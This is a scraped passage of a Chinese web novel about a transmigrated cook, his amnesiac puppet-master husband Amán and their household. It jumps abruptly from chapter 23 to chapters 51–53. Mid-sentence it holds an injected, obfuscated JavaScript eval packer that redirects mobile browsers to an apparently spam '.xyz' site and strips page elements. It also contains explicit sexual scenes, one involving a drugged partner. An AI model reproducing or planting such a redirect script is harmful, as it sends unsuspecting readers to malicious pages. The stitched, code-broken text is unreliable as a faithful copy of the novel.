四儿皱了皱眉:“不行?挺行的呀!说书先生说了,这位王上,可是从尸山血海里爬出来的。据说,幽国的内乱就是他弄出来的。还有他回来以后乱起来的那三年,也是为了……呃……为了……” 阮锦替他说道:“为了乱中取胜,浑水摸鱼。” 四儿连忙点头:“对对对!就是这个意思!” 阮锦又乐呵呵笑了半天,这才对四儿道:“我说的,不是那个不行,而是……男女之事上的不行。” 四儿的脸一下子就红了,一跺脚道:“少爷!你在瞎说什么呢?他……他行不行的,关我们什么事儿?再说了,少爷你又是怎么知道他……他不行的!” 阮锦笑的捂着肚子趴到了桌子上,心想当然是野史上写的了,不光野史上写了,正史上也写了。 说他无后导致二世而亡,而他无后的原因,就是因为他不行。 鸡无力啊鸡无力,啧啧啧! 不过这位王的能力确实不差,有手腕有能力,心狠手辣治国有方,主要是确实是青史留名了,毕竟他是第一个一统整个华夏的人。 不远处的阿蛮歪着头看向阮锦,不明白自家阿锦因为什么事这么高兴。 四儿在一旁兀自脸红,却也被阮锦给逗笑了,主仆俩笑得仿佛两个大傻子。 正在搬桌椅的阿大一脸看不懂,问一旁的三儿:“他们在聊些什么?” 三儿一脸迷茫:“不知道啊!” 只有阿丙和阿二心无旁骛的干着活儿,一个没头脑,一个不高兴。 四儿道:“好了少爷,别笑了,还有好多活儿要干呢!” 阮锦捂着肚子直起身,说道:“好,不笑了,哈哈哈哈我有点控制不住我自己。” 他一想到渊王称帝后第一个把幽王的鸡儿让蜜蜂蛰到斗大就想笑,仿佛戳中了他的笑穴一般。 那真的很嫉妒了。 这时,一个声音突然从耳边传来:“锦哥儿,什么事高兴成这样?你还真是不好找,我找了半天终于找到你了。” 阮锦抬头,只见一个熟悉的高挑身形站在了门外,正一脸笑意的看着他。 23.第 23 章 阮锦见到来人先是怔了怔,随即一脸开心的走到他面前,不敢相信道:“九大夫?你怎么来啦?这么晚了来县城,是来进药材的?这会儿药材铺都要打烊了,你得快点去了。” 虽然九大夫的确是个哥儿,但像他这么英俊的哥儿的确很少见,如果他不说自己是哥儿,周围的人甚至看不出来,都以为他就是普通男子。 九大夫却摇了摇头,说道:“不是,我要来县城开医馆了。” 阮锦意外道:“来县城开医馆?这倒是不像九大夫的作风啊!不是说要做医者里的闲云野鹤,在乡村一直隐居吗?” 九大夫不好意思的笑了笑:“闲云野鹤,也得先饱腹啊!当初逃婚逃得匆忙,只当了个玉镯做盘缠。如今那当镯子的钱,也被我花了个七七八八。想想桃花县也算热闹,说不定来这边能赚点钱果腹呢?” 阮锦的眼睛转了转,瞬间冒出了一个想法:“九哥可找到合适的房子了?” 九大夫摇了摇头:“还没,暂时住在这边的客栈里,想着慢慢找吧!” 阮锦一拍手,指了指这旧房子的后院道:“这不是巧了吗?后院有个小跨院,刚好可以开一个朝外的门,九哥要是不嫌小,不如拿来开医馆啊?” 九大夫看着阮锦那已经收拾得整整齐齐的后院儿,厢房虽然不大,但是也不小,有个几十平的院子,还有两株正结着果子的梨树。 只是十分不好意思,自己什么都没做,一过来就占一个院子,有些说不过去了。 阮锦看出了他的心思,十分大方的拉着他的手朝院子里走去,边走边道:“你看,这个院子其实很适合做医馆。只要你不嫌吵,我们前院估计客流量不会小。” 九大夫被阮锦拉进了房间,厢房分内外,外间可以做医馆,内间还能住,确实适合九大夫。 本来他是想拒绝的,可他一时间的确找不到合适的房子,便有些不好意思的说道:“那我每个月给你交房租!” 阮锦乐呵呵的拉着他的手:“哎呀,不急不急,这本来也没有多少房租。以后能用上你的地方还多着呢,我们这儿这么多人,谁还能没有个头疼脑热的,到时候可就全指望九哥了。” 九大夫温和一笑:“那自是不在话下的。” 就这样,九大夫也被阮锦拉入了伙,当天晚上也没再让他住客栈,而是让他一起住进了他们那个小院儿。 这小院儿房间不少,且原来也只有他们三个,这下来了个九大夫,更热闹了。 晚上一行人又摆开了席面儿,由于人变多了,阮锦不好做菜,便弄了个铜盆,买了些木碳,买了些新鲜的食材刷火锅。 临散集市,不少内脏都便宜的不得了,不少人不喜食下水,阮锦在下水行花三文钱就买到了一堆的猪肚羊肠牛百叶。 又买了三斤新鲜的牛羊肉,还有一些时蔬。 四儿不解:“少爷,你平日里从来不吃这些下水的,今天这是怎么了?你总说这些东西臭烘烘的,吃起来有一股子怪吐儿。” 阮锦乐呵呵道:“这你们就不懂了,昨天杀鸭子的鸭肠和鸭血都从冰筒里拿出来吧!我给你们吃个不一样的!” 到了古代,如果想家了怎么办,那必须要吃一顿火锅了! 而且还得吃牛油火锅! 在大渊,随意杀牛是违法的,但有一种人是可以杀牛的,那就是北越人。 北越一大部分都是草原,他们那里牛羊成群,有时候会贩卖过来,所以杀牛是他们的特权。 不过他们的牛和中原牛不是一个品种,是草原牛,中园的耕牛则是黄牛或者水牛。 阮锦先是下了牛油煮开,又放入葱、姜、蒜、八角、桂皮、香叶等等香料,炸了一个香喷喷的锅底。 可惜,没有辣椒,他得想办法找找辣椒才行。 如果找不到,他就想办法去出海,只是出海这个想法,得等到他有能力了,能造出吃水量足够大的趸船来再说。 倒是花椒管够,又麻又鲜,最后放上一些醪糟,使得汤底更具风味。 就这样,汤料一煮开,满院子的香味儿便飘散开来。 刚收拾好行囊的九大夫推门走了出来,赞了一声道:“太香了!每次来你这里吃饭,都让我破戒。今天晚上,我怕是又要多吃。上次从你这里吃了一顿谢媒宴,我就足足胖了两斤,用了十天才减下去。” 对于九大夫来说,大帅哥也是有困扰的,他是易胖体质,稍微吃多一点就会胖起来,所以一直在控制体重。 阮锦乐呵呵道:“安心吧九哥,这次的食材里没有一个是能让你长胖的,全是些蛋白质和膳食纤维。” 时令蔬菜就不说了,羊肉也是偏瘦的,还有这些内脏,脂肪含量也并不高。 四儿和三儿在一旁处理内脏,阿大阿二和阿丙在剁馅儿准备明天要用的食材,看上去一片热火朝天。 阿蛮则一直在雕木头,这次他雕的好像是个招牌,也不知道要雕什么。 阮锦走了过去,轻声招呼道:“阿蛮,忙完了吗?忙完就去吃饭了。” 阿蛮抬头看向阮锦,嗯嗯两声,放下手上的活儿朝餐桌的方向走去。 四儿也大声招呼着众人:“大家不要忙了,快来吃饭!哎呀阿丙哥,你这面和的已经够劲道了,不用再和了!” 阿丙最近和面的技术大有进步,一听阮锦说,面和的越劲道,做出来的面就越Q弹,他就一直致力于把面多揉几遍。 一听四儿招呼他,他就乐呵呵的停了手,说道:“来了来了,嘿嘿,这揉面还真是个技术活儿!我明天应该就能学擀面了吧?” 阮锦把羊肉猪肚往锅里下,一边下一边道:“可以啊!今儿晚上让你蛮哥给你削一个又粗又长的擀面杖。” 阮锦一听又粗又长,下意识往下看了一眼,阮锦吓得赶紧又道:“用木头削!” 阿蛮又抬起了头,哦了一声,引来众人一阵笑意,阿大道:“当然得用木头削了,难不成要用石头?那也削不动啊!” 众人又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849633|174863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一阵哈哈哈,阮锦敲了阿大的脑袋一下,说道:“就你废话说。怎么阿五今天又没回来?” 阿大提起来就头疼,说道:“别提了,又被先生留堂了!那个小王八羔子!上课时间用弹弓往窗外打鸟,还打偏了,把先生的夜壶给打碎了!” 阮锦:…… “哈哈哈哈哈哈……”一群人笑得前仰后合,心想还真是没有五儿干不出来的事儿。 阮锦也笑的不行了,果然熊孩子什么年代都有。 火锅煮好,阮锦第一个盛给了九大夫,说道:“来来来,九哥尝尝,今天算是给你接风。蘸着那个油碟,会更好吃!” 没有麻酱,火锅又少了几分风味,阮锦就很想弄些芝麻回来,不光可以做麻酱,还能榨香油! 他拿了个小本本记下,这些东西,要一步一步的慢慢实现。 古代资源虽然匮乏,但这些资源的成色都很好,而且只要你有钱,这些资源都会迅速的朝你倾斜。 是时代的悲剧,也是时代的红利。 九哥一口鸭肠下肚,那脆爽的口感瞬间让他意外的咦了一声,问道:“这……真的是肠子?也太好吃了吧!” 阮锦乐呵呵又给他夹了一筷子毛肚,说道:“这个才好吃呢!以后,我会给你们解锁更多食材。一切皆可涮!一切皆可天妇罗!” 众人的眼睛亮亮的,果然民以食为天,一听到有好吃的,所有人的干劲就都来了。 阿蛮却只是眼睛亮亮的看着阮锦,他觉得自己的擀面杖隐隐有些躁动不安,想和阿锦做游戏。 所以饭后,阿蛮拉起了阮锦的手,直接把他带回了房间。 阮锦一脸无语,心想自家小傻子一切都好,就是房事的确过于不知节制了。 每晚都是如此,而且还不止一次,不知道别人家新婚的夫妻也是这样吗? 好在小傻子还是知道心疼人的,只要阮锦喊疼,或者喊累了,他都会停下,哪怕他还没身寸。 因此,阮锦每次都会问他一句:“出来了吗?” 阿蛮若是不说话,就是没有,若是嗯嗯两声,就会乖乖退出来。 只是今天阮锦的心情着实有些低落,尤其是吃完火锅狂欢结束后,他的心情更是低落到了一定的程度。 所以一进房间,阿蛮搂住他时,却被他挡开了。 阿蛮不解,瞪着一双天真的眼睛。 黑暗里,阮锦拉着他的手,问道:“阿蛮,你到底是什么人呢?” 这句话他憋了一晚上了,一直想问,一直想问,这其实是源于他心里的不安全感,他害怕失去阿蛮。 而此时的渊都,一个一模一样的男人正坐于庄严肃穆的明堂之上,天子威仪震慑四座,文武大臣跪于堂前。 端阳公主站在男人身侧,声线和缓的说道:“关于幽国的事,陛下的意思是,暂缓些时日。” 堂下跪着的蒙玉将军焦急道:“暂缓?公主殿下,再缓下去,怕是幽国真就要打进咱们渊都来了!” 50-60 第51章 赵丰冷哼一声,说道:“是不是误会,等带回衙门再说吧!” 说着他对身后的衙役吩咐道:“都给我带走!尤其是那四架军用傀儡,这可是此次案件的重要证据。” 身后的衙役大声应了一声是,当即把荣安良及其手下还有那几架傀儡绑了。 阮锦见赵丰到了后,当即松了口气,还好还好,四儿没有拖后腿,这小子办事果然机灵。 而被绑了的荣安良还在那里大声斥骂:“赵丰,你可知道我是什么人?我舅舅是东南郡郡尉,他可是长兴侯的人!” 赵丰一言不发,心想要的就是长兴侯的人,从前抓不住他的把柄拿他没办法,如今证据在手,一定得断掉长兴侯一臂! 赵丰不说话,不代表尉迟融不说话,他哈哈笑了两声,说道:“你特么区区一个郡尉外甥,又算得了什么?我可是关内侯的外甥,我说什么了?王子犯法还要与庶民同罪,你区区一个外甥,还敢在这里大放厥词!信不信,我在摄政公主面前参你一本?” 提到摄政公主的威名,在场的所有人都默了。 尤其是赵丰,他没想到眼前这个人竟是关内侯的亲外甥,说是外甥,其实就是过继的儿子。 赵丰身为关内侯的嫡系,自然是知道这个情况的。 他上前朝尉迟融点了点头,尉迟融也朝他行了个礼,说道:“赵大人尽管公事公办,这件事,我会给我舅舅去信,把这来龙去脉讲清林的。” 赵丰道:“多谢尉迟公子,本官眼下还有要事要处理,就不奉陪了。” 说完他转身,对手下挥了挥手道:“把一应涉案男子,全部带走!” 手下们应了一声,转身把阮二郎、阮三郎、阮波、阮渟全押走了。 阮家二婶受伤最重,此时正有气无力的躺在地上,阮三婶则大喊道:“大人冤枉啊,大人冤枉!和渟儿没有关系,和我渟儿没有任何关系!” 她不是把阮渟关进房间了吗? 这孩子怎么又跑出来了? 赵大人没有听他的大呼小叫,只道:“是否冤枉,县衙自会审问清楚,你若再在此处胡搅蛮缠,我便将你也一并收押!” 三婶当即闭了嘴,她在外面,还能为男人们游走一下,若是连她都进去了,家里当真就没有一个能为他们说话的了。 赵大人一行浩浩荡荡的离去,目送着他们远去的身影,阮锦也终于撑不住,软软的倒在了阿蛮的怀里。 阿蛮差点被吓到,一把搂住阮锦,却发现阮锦的眼睛正水汪汪的看着他。 他的身子很热,那热是从身体里面透出来的,呼吸也十分紊乱,似是有急切之态。 这时,四儿和九大夫也骑着马赶到了。 阮锦去赴宴后,四儿便骑着马去了县衙,按照阮锦的吩咐去击了鼓。 告完状后,他又回小院把九大夫带了过来,知道他家少爷肯定会遇到危险,把九大夫带来也是以备不时之需。 果然,远远的四儿就看到自家少爷倒在了阿蛮的怀里,吓得他赶紧拉着九大夫来到了阮锦的面前。 九大夫按住阮锦的脉博,皱眉道:“用了大剂量的□□物,需要马上疏解。” 阿蛮虽然傻,但他还是听得懂的,当即把阮锦打横抱了起来,说道:“我也……不奉陪了!” 众人:??? 四儿一脸无语,面红耳赤道:“姑爷可真猴急。” 九大夫轻声叹息:“倒是也没错,越快越好,拖久了伤身。” 此时的阿蛮已经飞快的抱着阮锦回到了他们的主卧,来到桃花县后,阮锦就有些心不在焉。 他心里藏着事儿,便对阿蛮的示好有些抗拒。 有时候阮锦觉得阿蛮对床笫之事过于执着了些,某些时候不答应他他还会有些暴躁。 但这家伙惯会哄人,总有办法把阮锦哄到半推半就的遂了他的愿。 可能是看阮锦最近情绪不佳,阿蛮便一直压抑着自己,把多余的精力全都用到了操练阿五上。 阿五整天被遛得像只野猴儿,刚刚打架的时候,竟然把阿蛮教的全用上了,偷偷撂倒了三个荣安良的下属。 此时的阿蛮比阮锦还要急迫,他压抑着自己的呼吸,更压抑着自己内心极度想要他的冲动。 阿蛮自己也不知道自己是怎么回事,自从和阿锦有过夫夫生活后,他每日都想和他深度交流,贪恋他身体的每一寸肌肤,想吻遍他的全身,更想为了他搅风弄雨。 只要他需要,他随时可以全力以赴,有时候他不需要,他也想哄得他需要。 只有阿蛮自己心里知道自己的病态,虽然他失去了以往全部的记忆,可他的与众不同之处,以及身体上异于常人的反应,他还是清楚的。 他无比渴求的想要阿锦,每一日,每一日…… 哪怕他如此渴求与阿锦的缠绵,却还是努力压制着狂野的冲动,因为他怕自己的不知深浅会伤到他。 阿锦之于他来说,是最为珍视的稀世珍宝,他怎么舍得再让他受到半点伤害? 此时他轻轻的吻着阮锦,吻掉阮锦因为难受而涌出的泪滴,握住他毫无章法乱挥的手,按在枕头两侧轻声道:“阿锦……我……我在呢,你……不要乱动好吗?我会一直在你身边的。” 听到阿蛮的话后,阮锦的情绪终于稍微平复了一刻,他眼神迷离的看着阿蛮,声音沙哑中透着意乱情迷:“阿蛮……是你吗?我……我心里好难受。” 阿蛮低低嗯了一声,答道:“是我,我是你的……阿蛮。” 阮锦的身体终于软了下来,他感受到阿蛮在解开他的衣服,轻轻将手探入他的里衣中,安抚着他狂燥的情绪。 烛火被阿蛮扬起的衣袖带得摇曳起来,在阮锦潮红的眼尾投下晃动的阴影,他指尖勾住对方汗湿的衣带时,闻见一缕苦艾混着龙涎的暗香。 他一直觉得阿蛮的身上有一股淡淡的香味,却一直想不到那是什么香味,如今在意乱情迷中,却突然想起来了。 阮锦握住阿蛮的手腕,玉簪早不知滚落何处,他如泼墨般的长发缠在阿蛮小麦色的臂膀上,用哀求般的语调扬着下巴说道:“阿蛮,我……我……” 未尽的话语仿佛掉了帧般的断断续续,阿蛮托着他的手背暴起青筋,面上却还绷着温柔神色,只眼底暗潮汹涌。 扬起的唇被吻住,阿蛮捏住阮锦的下巴,严丝合缝的堵住了他的唇舌。 被捏住的下巴微疼,阮锦被迫将脸高高的扬起,承接着他的亲吻,也释放着他的情绪。 窗外月色明灭,空气里散发着龙涎香的气息,红烛“噼啪”爆了个灯花,映亮案几上写了一半的《食经》,书页间露出半角简笔美食图,正是阮锦这些日心神不宁时反复描摹的。 阿蛮突然将人搂进怀里,却把怀中之人吓了一跳,阿蛮咬住住他耳垂的软肉模糊低语道:“阿锦今夜如此布局……却是以身为饵,可知我在远处……是何感受?” 只有阿蛮自己知道,他问出这话的时候,心里藏着多么浓重的疼惜。 阿锦被留下时,他的心中似是在流血,为了不让阮锦的计划落空,他也只能将这心疼掩藏在心里。 怀中之人闻言倏然僵住,药效都压不住这一刻的清醒,阿蛮却就着这个破绽深深吻住他,趁阮锦神魂震荡时,将一场审问化作拥抱的抵死缠绵。 风吹的床帐金钩叮当乱响,黑暗中,摇晃的银铃发出好听且有节奏的韵率,掩去阮锦破碎的哭泣,夜风穿堂而过,带起书页哗哗翻动声。 阮锦搂着阿蛮,被反复的逼迫着说了好多遍:“我……错了,真的错了。往后再也不会……让自己置身于危险中,绝……绝不让阿蛮……担心。” 话语仿佛掉帧一般被打断得断断续续,最后红烛噗嗤一声被窗外的风声熄灭,一双人影却不知何时才得以停歇。 阮锦只觉得,这一夜酣畅好似梦境,他与阿蛮再也没有任何隔阂。 此生此世,此间生死,都不算什么,唯有此刻,便是他此生的心向往之。 折腾一夜,一夜不拔,天快亮时二人才堪堪入睡,阮锦和阿蛮直睡到了日上三杆。 醒来时,阮锦只觉得自己仿佛要散架了一般,昨夜有多畅快,今早就有多痛苦。 痛快痛快,原来快活完了就会痛。 阿蛮躺在他身旁,把他搂进怀里,直接含住他的耳珠轻轻嗅闻,被褥里满是两人身上散发出来的气息。 一想到昨夜的事,阮锦的脸倏得便红了,他一脸无语的说道:“阿蛮,昨夜你说的那些话,是和谁学来的?” 阿蛮装傻:“阿蛮……说什么了?” 阮锦:…… 奇怪,为什么只记得他说了一堆骚话,却不记得他说了些什么? 啊,都怪那催情之物,弄得他头昏脑胀,都断篇了。 阮锦揉着腰起身,一出门便看到四儿和九大夫正围在坐在地上的尉迟融不知道在做些什么。 他一脸疑惑的上前问道:“这是怎么了?” 四儿无语道:“别提了,昨晚尉迟融可能是怪你们去赴宴不带他,自己跑去山上采了不少鲜菌子。结果吃了中毒折腾了一晚上,我和九大夫看了他一晚上。” 尉迟融傻笑:“嘿嘿,好吃,蘑菇,鲜美!” 阮锦:??? 他问道:“什么菌子?” 四儿答:“就是最常见的白鬼伞,倒是毒性不大,否则这会儿全村就得过来吃席了。” 尉迟融一听吃席,赶紧抬头道:“吃席?我……我能一起去吗?这回……不能不带我了!” 众人:??? 操,这个吃货! 第52章 阮锦一脸的无语,说道:“……他可长点心吧!” 尉迟融仍是一脸傻笑:“点心,嘿嘿,点心也好吃。” 众人懒得再搭理这个人设不倒的吃货,只想知道昨天的事情怎么样了。 昨天的事情闹得那么大,村里村外都传遍了,所有人都在冲着阮家二婶和三婶家的院子指指点点。 “听说这俩婶子为了大房的家产,把自家成了婚的侄儿送到了荣大公子的床上。” “呸,真是不要脸!要不是人家夫君有本事,怕是锦哥儿这辈子就毁了。” “以前还真没看出来,她俩看着笑脸迎人,竟然是这种蛇蝎心肠!” “是你们没看出来还是假装没看出来啊?嘿,当初她们俩在外面传瞎话,传锦哥儿克夫,你们不是跟她们一样传得起劲吗?” “这……谁知道她们是胡说的啊!再说了,克夫这种事,都是宁可信其有,不可信其无的,谁能拿性命开玩笑啊!” “锦哥儿的事,你们这些人,有一个是一个,都是帮凶!” “你怎么说话的?我们也就是传了点闲话,我们也没干什么啊……” …… 四儿在墙头后面听了一会儿,回来和阮锦复述了一遍,说道:“这些人,都是看热闹不嫌事儿大的,只知道嚼舌根子!” 阮锦倒是不在意这些风言风语,只要他不在乎,那些人就伤不到他。 他现在也终于知道为什么有拔舌地狱了,如果换一个心理素质低一点的,怕是此时已经抑郁了。 但阮锦此时一点都不抑郁,因为昨晚的事,他反而情绪还有点飞扬。 而且他想去问问阿蛮,他是怎么做到“一夜不拔”的……呃,主要是因为早晨醒来的时候,他才明显感觉到有个东西从自己的身上滑落出来。 被褥被弄脏,阿蛮还贴心的用手帕给他擦干净了,擦不掉的他打算撤掉后明天回镇子的小院子里用阿蛮做的“洗衣机”洗干净。 阿蛮却在修理他的傀儡,带着阿五一起修理。 阿五修的很仔细,因为师父说了,修好了就把这些傀儡继承给他。 现在的阿五还只能做简单的人形傀儡,做得还非常粗糙,也没办法缩傀儡入傀儡球。 只有像阿蛮这种高阶的傀儡师,才会制做出如此精良的傀儡。 不过阿五的偶像就是他师父,也发誓要成为师父一样厉害的傀儡师。 阮锦收起他心中的旖旎心思,说道:“好了,咱们收拾收拾,准备回镇上吧!不过……可能晚点会有人过来找我们。” 四儿有些疑惑的说道:“找我们?谁啊?” 阮锦轻笑:“给我们送牛的。” 四儿啊了一声,不明白谁会来给他们送牛。 到了中午,尉迟融的菌子中毒症状好点儿了,正一脸郁闷的捂着脑袋唉声叹气。 他心想席没吃上,还吃了毒蘑菇,见到了形形色色的小人儿,真是可怕。 不过那毒蘑菇可真鲜呐,下次有机会再尝尝…… 就在四儿收拾好东西,准备离开村子回镇子的时候,阮锦家的大门被敲响了。 阮锦示意四儿去开门,四儿转身去了,一拉开门,便看到三婶正牵着一头牛站在门外。 四儿哟了一声,没看三婶,而是看向了那头牛:“这不是我家二黄吗?三婶这是怎么了?怎么把我们家二黄给送回来了?” 三婶笑得一脸尴尬,说道:“四哥儿,我……我找锦哥儿。” 四儿也没为难他,推开门道:“你自己找少爷说吧!不过我可是丑话说在前头,前面你们怎么对待我们家少爷的你们心里有数。现如今是要求上我们家少爷了?” 三婶一脸的愧赧,低着头匆忙进了院子,一见到阮锦就扑通给他跪下了。 阮锦吓得跳到了一边,说道:“四儿,把她拉起来。您给我嗑头,是想让我短寿吗?” 那可不能让她得逞。 谁料三婶子一屁股坐到地上就开始哭,一边哭一边道:“锦哥儿,我把牛给你牵回来了。从前是我不对,我不该和你二婶算计你的财产。昨晚的事,也是我们鬼迷心窍了。但是锦哥儿,这一切都是我们大人的错,和你阿渟弟弟一点关系都没有。你知道他为什么会被抓吗?他是要去救你啊!我们把他锁进了书房里,他砸了窗户锁,自己翻墙出来的。他是真的想救你,我如果有半句瞎话,我天打雷劈!” 说着她又呜呜的哭了起来:“我承认,我和你三叔确实干了对不住你的事儿。但是锦哥儿,你弟弟他真的没干任何伤天害理的事儿啊!他从小跟你最好,你也是知道的。他老实又乖巧,我们也是想多为他谋划。他才十五岁啊!你能不能看在他是你弟弟的份儿上,不与他计较了,救救他吧!” 三婶子一边哭一边拍自己的大腿,阮锦却是冷眼旁观,问道:“三婶,你从前可不是这么说的。你话里话外都是为了我好,让我嫁去隔壁县县令家当小妾。如今又把我送上荣安良的床,哦,也是当小妾。怎么,我这辈子,就只配给人当小妾吗?” 三婶子怔住,没说话,毕竟没办法说出口。 四儿却气的不行,怒道:“敢情您也知道这是错的?刀子捅不到自己身上,就不知道疼是吧?” 三婶子匍匐到阮锦的身侧,抱住他的大腿道:“我知道错了,锦哥儿你打我吧!我不求你原谅我,只求你能救救你渟弟弟。” 不远处,阿蛮还以为这女人又要伤害阿锦,当即就要过来卸她胳膊。 阮锦却一挥手道:“阿蛮,没事,你上你的课。” 阿蛮只是看了一眼三婶,没说什么,继续教阿五回去修傀儡了。 阮锦也知道,那个叫阮渟的孩子的确还算老实厚道,和阮波不是一路货色。 他想了想,说道:“这样吧!如果你能有办法,把我另外一头牛找回来,我就想办法给你疏通一下。” 另一头牛在二婶家里,哪里还用找。 他之所以这样说,是不想留一个把柄在二婶家,让她也牵着牛来找他求情。 二婶现在伤的不轻,大概是去隔壁村子治伤了。 三婶一听阮锦这么说,当即从地上爬了起来,一边往外跑一边道:“好,好好好,我这就去!” 尾音还未消失,三婶便消失在了阮锦家的小院儿。 四儿则很好奇,这三婶是怎么从二婶家把牛牵出来,于是尾随其后去看了看。 回来后一脸震惊的对阮锦道:“少爷,你是不知道三婶有多灵活,那墙翻的,欻一声就不见了……” 阮锦低笑,说道:“看来刀子扎的确实挺疼的……” 四儿现在终于明白了,难怪之前少爷说,他们迟早有一天会给他们还回来。 这还真给还回来了! 不过片刻的时间,三婶便牵了阮锦家的大黄过来了,两头大黄牛,一头大黄一头二黄。 其实阮锦家已经好多年不种地了,家里的地也租给了村子里的人种。 那些地,本来二叔和三叔也是想种的,可是阮家大郎活着,他们说什么也不敢造次。 阮家大郎一死,他们的本性就暴露了,恨不得把阮锦折腾死。 看着三婶牵过来的牛,阮锦点了点头道:“也好,既然你有这番心意,我也不好再推脱。回家等着去吧!我会想办法给阮渟做证的。” 这番他也不是为了三婶,而是为了阮渟,毕竟这个弟弟确实人还行,希望以后别走错了路。 三婶闻言赶紧千恩万谢,往阮锦的手里又塞了一包钱后叮嘱他:“你一定要好好打点,一定要好好打点。我就这么一个儿子,一切都拜托你了。” 阮锦一脸无语的看着那包钱,转头对尉迟融道:“徒弟,这件事你能处理吗?” 尉迟融应道:“没问题的师父,今天回去我就找一趟赵大人。反正这件事跟他也没什么关系,主犯是荣安良。不过作为从犯,那个叫阮波的,和亲自下毒的人估计要被关一段时间。” 阮锦把银子扔给尉迟融:“看看能不能用得上,用得上就用,用不上就还给阮渟。” 尉迟融接过银子,答应道:“好的,师父。” 解决了这件事,阮锦又想了想,说道:“走,牵着咱家的牛,回镇上!” 大黄和二黄也仿佛有灵性一般,跟在阮锦身后就要往外走,似乎也知道它们真正的主人回来了。 阮锦本来想着回镇子后把牛卖掉,但看它们这模样,他也舍不得卖了,反正那两头羊也在后院养着呢,也不差这两头牛。 还有几只下蛋的鸡鸭,后院有个小门通外面的桃花河,刚好也能养起来。 一听要回镇上了,阿五和阿蛮也相继爬上了马车,他们已经把傀儡修好了,几只傀儡球攥在阿五的手上,脸上的笑容藏都藏不住。 他的起点可是够高了,一入门就有阿蛮这种高阶的傀儡师来教。 一行人下午回到了镇子上,关于荣安良的事已经传遍了镇子,不少人都说他活该,平日里欺男霸女,坏事做尽,终于有人能收拾得了他了。 不过为了保护阮锦,赵县令并未透露关于阮锦的事,所以他们只知道荣安良是因为使用军用傀儡获的罪。 尉迟融下午跑了一趟县衙,把阮渟给捞了出来,也把三婶的银子给了他。 这件事到此为止,也算告了一段落。 阮锦的生意,也终于可以为下了阶段考虑了。 唯有阿蛮的行为有点奇怪,他好像在看到了什么有刺激性的事后,精神状态便会变得有些不太稳定。 今日桃花县里有一行军队经过,为首的将军马后栓着一名不知道是囚犯还是俘虏,阿蛮也不知道是怎么了,捂住自己的头就开始发出一阵阵压抑的喘息。 脑子里光怪陆离,开始仿佛走马灯一般播放着一些莫名其妙的画面。 正在忙碌的阮锦见状,吓得赶紧上前扶住他,一脸关切的问:“阿蛮,怎么了?哪里不舒服?” 第53章 阿蛮的眼神里却露出一阵阵的惊恐,他用力的摇着头,转身便往院内跑去。 这一行为吓到了阮锦,他知道阿蛮以前受过伤,但他这一个多月以来情况十分稳定,从来没像今天这样过。 阮锦赶紧追了上去,发现阿蛮把自己锁进了仓库里,不论他怎么敲门都不肯开。 这时,九大夫听到动静走了过来,他问道:“阿锦?这是怎么了?” 阮锦摇了摇头:“不知道啊!阿蛮不知道是怎么了,突然像是受了什么刺激一样把自己锁进了仓库里。” 九大夫皱了皱眉,问道:“他看到什么了?” 阮锦想了想,答道:“好像是……是一列军队?” 九大夫不解,从前阿蛮也不是没见过军队,桃花县扼南北交通之要道,经常有行军的人在这里经过,他们南来北往的,也没见阿蛮有什么不对的地方。 阮锦很着急,问道:“九哥,你快帮帮我,帮我把他弄出来。我担心他会伤害到自己,你知道的,阿蛮的性子急,我得看着他。” 九大夫安抚道:“阿锦,你先别急,我们试着把他唤出来。” 说着九大夫敲了敲门,说道:“阿蛮,我是九大夫,如果你有哪里不舒服一定要告诉我,我应该可以帮到你。如果你连大夫都不肯相信,那阿锦一定会担心你的。你也不想他担心,是不是?” 片刻后,里面终于传来了细细簌簌的声音,阿蛮打开了门,却不敢看阮锦。 阮锦扶住他,他却朝一边躲了躲,跟在九大夫的身后去了位于后院的九之堂医馆。 此时及近黄昏,医馆里没什么人,九大夫为阿蛮把了把脉,眉心却迅速的皱了起来。 阮锦一看他的表情,当即更担心了,问道:“九哥,怎么了吗?很……很严重吗?” “这……”九大夫一时间竟不知从何说起了,见他犹豫,阮锦便深吸了一口气,说道:“没关系的九哥,我能撑住,你说!” 九大夫无奈的摇了摇头,苦笑道:“阿锦,你别急,不是什么危及生命的病。只是……他这个情况,并不常见,所以我才在斟酌该怎么和你说。” 阮锦快急死了,跺脚道:“哎呀九哥,你快和我说吧!别给我卖关子了,阿蛮到底得了什么病?” 看阿蛮的状态,真的非常难受了,豆大的汗珠从他额头上湛出来,滴哒滴哒的砸到了阮锦扶着他的手背上。 九大夫抿了抿唇,直截了当的说道:“阳元亢进。” 阮锦:??? 他一脸迷茫的看向九大夫,心想你就不能浅白的说吗? 这专业术语,我真的听不懂啊! 九大夫见他疑惑,又解释了一句:“呃……通俗来讲,就是阳气过胜而积存在某处,形成了瘾症。或者突然受到一个什么刺激,也容易诱发瘾症。这个时候会……会……非常想行房事!” 阮锦:…… 哦,人话版:性瘾。 也就是说,阿蛮的阳气太足,或者受到过这方面的刺激,所以刚刚他也是受到了某种刺激,导致他犯了性瘾,想做一些私密马赛克的事情。 阮锦歪头陷入了沉思,片刻后才拉起阿蛮的手道:“阿蛮,跟我走,隔壁有个小休息室,我帮你疏解。” 阿蛮却一动不动,任凭阮锦怎么拉他都不肯走,仿佛千斤坠一般的坐在那里。 阮锦皱眉,问道:“阿蛮,你是有夫郎的人,为什么要自己忍着?这两日我也是找酒楼的合适地点过于忙了些,忽略了你,也是我的错。今日你这样,我也要负一半的责任。阿蛮,别忍了,快跟我走。” 阿蛮摇头如拨浪鼓,他压着沉沉的声线道:“不……不行!我……会……伤害到你!绝对……不行!” 阮锦无语,心想我们也不是第一次了,有什么会伤害到的? 九哥却适时的插话道:“确实会如此,阳元亢进者,多有……呃,轻微暴力倾向。若是普通女子,还真怕是会被伤到。你虽是哥儿,身子比女子好很多。可他的体力和手段,你怕是……” 阮锦陷入了迷茫,问道:“那……那总不能就让他这么挺着吧?这种病会很难受的吧?” 